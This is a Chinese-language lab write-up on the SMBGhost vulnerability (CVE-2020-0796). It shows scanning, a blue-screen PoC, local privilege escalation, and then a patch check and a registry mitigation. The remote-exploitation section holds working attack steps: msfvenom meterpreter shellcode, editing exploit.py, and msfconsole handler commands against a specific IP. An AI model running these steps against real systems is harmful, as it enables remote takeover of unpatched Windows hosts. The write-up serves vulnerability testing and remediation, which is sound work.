一、漏洞说明 二、漏洞验证
1、下载验证工具
可以从github.com上下载
2、验证
在python环境下执行该命令
- python3 cve-2020-0796-scanner.py -t <IP/MASK>
复制代码
显示有漏洞。
这个漏洞主要使用445端口,可以验证下该主机的445端口监听情况。
反向证明下,如果主机没有开启445端口,那是不是就不存在漏洞了呢?
在一台没有开启SMB服务的主机上测试,直接拒绝连接。
3、另一种验证方式。
这个是exe,可直接运行。
下载链接:http://dl.qianxin.com/skylar6/CVE-2020-0796-Scanner.zip;
三、漏洞利用
1、蓝屏Poc利用
使用两台虚拟机作为漏洞演示,一台win10 1903版本,一台是kali linux。
(1)上传poc文件到虚拟机并解压
对端是一台win10 1903的系统,我们先使用验证工具测试下。
刚安装好的新系统是不存在漏洞的,我们配置好共享服务,即创建了一个共享目录。
再测试就有了。
(2)执行蓝屏PoC
- python3 CVE-2020-0796.py <IP>
复制代码
(3)验证
win10t系统蓝屏。然后自动重启。
如果使用此命令针对目标主机不生效,可以验证下是否目标主机已经打了补丁。
或者使用记事本查看下操作系统的版本是否为可利用的系统版本。
点击“帮助--关于记事本”就可以查看。也可以直接运行winver来查看。
2、提权PoC验证
使用一台存在漏洞的win10 1903的系统即可。
(1)先确认当前系统的用户
(2)执行命令
直接进入exe的文件目录下,执行exe程序即可。
当出现“success”字眼时,说明程序执行成功。
然后会弹出一个新的cmd对话框,使用whoami查看用户。可以看到用户权限提升为system。
3、远程利用PoC验证
使用两台虚拟机作为漏洞演示,一台win10 1903版本,一台是kali linux。
(1)使用msfvenom生成正向连接的python的shellcode
- msfvenom -p windows/x64/meterpreter/bind_tcp lport=3333 -f py -o shellcode.txt
复制代码
(2)替换exp内容
将exploit.py里的USER开头的内容去掉
将第一步生成的shellcode的内容复制过来。
将buf使用USER_PAYLOAD替换掉。
此步骤注意不要使用查找替换功能,有可能其他语句里也包含buf字段。
(3)启动msfconsole设置监听端口
- use exploit/multi/handler
- set payload windows/x64/meterpreter/bind_tcp
- set rhost 114.118.7.103
- set lport 3333
- run
复制代码
(4)执行exp
- python3 exploit.py -ip 114.118.7.103
复制代码
(5)观察回显
执行完步骤3的run命令或exploit命令后等待步骤执行,观察回显。
此时,会弹出meterpreter的窗口,可以执行相关的命令,如ifconfig、pwd等等。
下载链接:https://github.com/chompie1337/SMBGhost_RCE_PoC.git
四、漏洞修复
1、打补丁。
先检查是否有打补丁。
- systeminfo | findstr KB4551762
复制代码
2、修改注册表
右键点击桌面左下角的Windows图标,在弹出菜单中选择“运行”菜单项,在弹出的运行框中输入regedit,打开注册表编辑器。在“HKLMSYSTEMCurrentControlSetServicesLanmanServerParameters”目录中添加一个DWORD类型的注册表项DisableCompression ,数值为1。如需撤销禁用SMBv3压缩功能,将该注册表项数值修改为0或删除注册表项即可。注:利用以上方法进行更改后,无需重启即可生效;以上缓解措施仅可用来防护针对SMB服务器(SMB SERVER)的攻击,无法对SMB客户端(SMB Client)进行防护。
五、注意
1、下载的PoC文件没有提权的exe如何处理?
在进行PoC本地提权测试时,发现下载的PoC里没有exe程序。
翻了数十篇文章,几乎千篇一律,然后在一篇文章的小字里发现,下载的sln需要编译成exe的。
然后又百度如何将sln编译成exe,需要通过visual studio来实现,下载安装visual studio生成exe程序,就会在sln文件下生成一个x64的目录。
很多东西看着简单,但初次做起来很难,就是照着文档配置都会出错的那种,不是坑的地方自己都能踩出坑来。我太难了。
(2)想要进入msfconsole模式,只需要敲这个命令就好。但不会的时候就是不知道咋进,都是泪。
meterpreter网络释义后门服务的意思。
五、参考资料